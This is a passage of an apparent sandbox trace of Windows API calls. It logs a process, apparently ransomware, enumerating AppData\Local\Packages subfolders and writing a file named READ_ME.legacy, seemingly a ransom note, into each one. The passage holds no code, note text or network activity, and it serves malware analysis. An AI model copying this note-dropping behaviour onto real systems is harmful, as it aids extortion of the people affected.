"c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.mspaint_8wekyb3d8bbwe\\systemappdata\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x894 [0154.019] WriteFile (in: hFile=0x894, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.019] CloseHandle (hObject=0x894) returned 1 [0154.020] FindNextFileW (in: hFindFile=0x61e888, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd7d33450, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xcda59e5e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd7d33450, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0154.020] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MSPaint_8wekyb3d8bbwe\\TempState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.mspaint_8wekyb3d8bbwe\\tempstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x894 [0154.020] WriteFile (in: hFile=0x894, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.021] CloseHandle (hObject=0x894) returned 1 [0154.021] FindNextFileW (in: hFindFile=0x61e888, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd7d33450, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xcda59e5e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd7d33450, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0154.021] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.0_8wekyb3d8bbwe\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf27b049c, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x33b4c3b0, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xe3655969, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x61e8c8 [0154.021] FindNextFileW (in: hFindFile=0x61e8c8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf27b049c, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x33b4c3b0, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xe3655969, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0154.021] FindNextFileW (in: hFindFile=0x61e8c8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf292dc14, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x33a8d656, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x33a8d656, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AC", cAlternateFileName="")) returned 1 [0154.021] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.0_8wekyb3d8bbwe\\AC\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.net.native.framework.1.0_8wekyb3d8bbwe\\ac\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x898 [0154.108] WriteFile (in: hFile=0x898, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.108] CloseHandle (hObject=0x898) returned 1 [0154.109] FindNextFileW (in: hFindFile=0x61e8c8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2907a4b, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcdb63970, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xf2907a4b, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0154.109] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.0_8wekyb3d8bbwe\\AppData\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.net.native.framework.1.0_8wekyb3d8bbwe\\appdata\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x898 [0154.110] WriteFile (in: hFile=0x898, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.110] CloseHandle (hObject=0x898) returned 1 [0154.110] FindNextFileW (in: hFindFile=0x61e8c8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2848dfb, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcdb64026, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xf2848dfb, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0154.110] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.0_8wekyb3d8bbwe\\LocalCache\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.net.native.framework.1.0_8wekyb3d8bbwe\\localcache\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x898 [0154.111] WriteFile (in: hFile=0x898, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.112] CloseHandle (hObject=0x898) returned 1 [0154.112] FindNextFileW (in: hFindFile=0x61e8c8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2848dfb, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcdb6476c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xf2848dfb, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0154.112] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.0_8wekyb3d8bbwe\\LocalState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.net.native.framework.1.0_8wekyb3d8bbwe\\localstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x898 [0154.112] WriteFile (in: hFile=0x898, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.113] CloseHandle (hObject=0x898) returned 1 [0154.113] FindNextFileW (in: hFindFile=0x61e8c8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3655969, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xe3655969, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xe3678fc7, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0154.113] FindNextFileW (in: hFindFile=0x61e8c8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2848dfb, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcdb652c9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xf2848dfb, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0154.114] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.0_8wekyb3d8bbwe\\RoamingState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.net.native.framework.1.0_8wekyb3d8bbwe\\roamingstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x898 [0154.115] WriteFile (in: hFile=0x898, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.115] CloseHandle (hObject=0x898) returned 1 [0154.116] FindNextFileW (in: hFindFile=0x61e8c8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf286f050, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x71259ffc, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x71259ffc, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0154.116] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.0_8wekyb3d8bbwe\\Settings\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.net.native.framework.1.0_8wekyb3d8bbwe\\settings\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x898 [0154.163] WriteFile (in: hFile=0x898, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.164] CloseHandle (hObject=0x898) returned 1 [0154.164] FindNextFileW (in: hFindFile=0x61e8c8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2848dfb, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcdc0d575, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xf2848dfb, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0154.165] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.0_8wekyb3d8bbwe\\TempState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.net.native.framework.1.0_8wekyb3d8bbwe\\tempstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x898 [0154.165] WriteFile (in: hFile=0x898, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.166] CloseHandle (hObject=0x898) returned 1 [0154.167] FindNextFileW (in: hFindFile=0x61e8c8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2848dfb, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcdc0d575, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xf2848dfb, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0154.167] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.1_8wekyb3d8bbwe\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104f57a, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x33dfacc4, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xe381ca5f, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x61e508 [0154.167] FindNextFileW (in: hFindFile=0x61e508, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104f57a, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x33dfacc4, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xe381ca5f, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0154.171] FindNextFileW (in: hFindFile=0x61e508, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x109ba31, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x33d3c232, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x33d3c232, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AC", cAlternateFileName="")) returned 1 [0154.171] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.1_8wekyb3d8bbwe\\AC\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.net.native.framework.1.1_8wekyb3d8bbwe\\ac\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x89c [0154.194] WriteFile (in: hFile=0x89c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.195] CloseHandle (hObject=0x89c) returned 1 [0154.195] FindNextFileW (in: hFindFile=0x61e508, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x107580d, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xcdc5bd63, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x107580d, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0154.196] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.1_8wekyb3d8bbwe\\AppData\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.net.native.framework.1.1_8wekyb3d8bbwe\\appdata\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x89c [0154.198] WriteFile (in: hFile=0x89c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.199] CloseHandle (hObject=0x89c) returned 1 [0154.199] FindNextFileW (in: hFindFile=0x61e508, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104f57a, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xcdc5c548, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x104f57a, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0154.199] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.1_8wekyb3d8bbwe\\LocalCache\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.net.native.framework.1.1_8wekyb3d8bbwe\\localcache\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x89c [0154.202] WriteFile (in: hFile=0x89c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.203] CloseHandle (hObject=0x89c) returned 1 [0154.203] FindNextFileW (in: hFindFile=0x61e508, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104f57a, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xcdc5cd7f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x104f57a, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0154.203] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.1_8wekyb3d8bbwe\\LocalState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.net.native.framework.1.1_8wekyb3d8bbwe\\localstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x89c [0154.203] WriteFile (in: hFile=0x89c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.204] CloseHandle (hObject=0x89c) returned 1 [0154.205] FindNextFileW (in: hFindFile=0x61e508, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe381ca5f, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xe381ca5f, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xe381ca5f, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0154.205] FindNextFileW (in: hFindFile=0x61e508, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104f57a, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xcdc5d5ab, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x104f57a, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0154.205] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.1_8wekyb3d8bbwe\\RoamingState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.net.native.framework.1.1_8wekyb3d8bbwe\\roamingstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x89c [0154.205] WriteFile (in: hFile=0x89c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.206] CloseHandle (hObject=0x89c) returned 1 [0154.206] FindNextFileW (in: hFindFile=0x61e508, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x107580d, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x71259ffc, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x71259ffc, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0154.207] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.1_8wekyb3d8bbwe\\Settings\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.net.native.framework.1.1_8wekyb3d8bbwe\\settings\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x89c [0154.241] WriteFile (in: hFile=0x89c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.242] CloseHandle (hObject=0x89c) returned 1 [0154.242] FindNextFileW (in: hFindFile=0x61e508, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104f57a, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xcddc79b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x104f57a, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0154.242] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.1_8wekyb3d8bbwe\\TempState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.net.native.framework.1.1_8wekyb3d8bbwe\\tempstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x89c [0154.243] WriteFile (in: hFile=0x89c, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.244] CloseHandle (hObject=0x89c) returned 1 [0154.244] FindNextFileW (in: hFindFile=0x61e508, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x104f57a, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xcddc79b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x104f57a, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0154.244] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.NET.Native.Framework.1.3_8wekyb3d8bbwe\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xebee37c7, 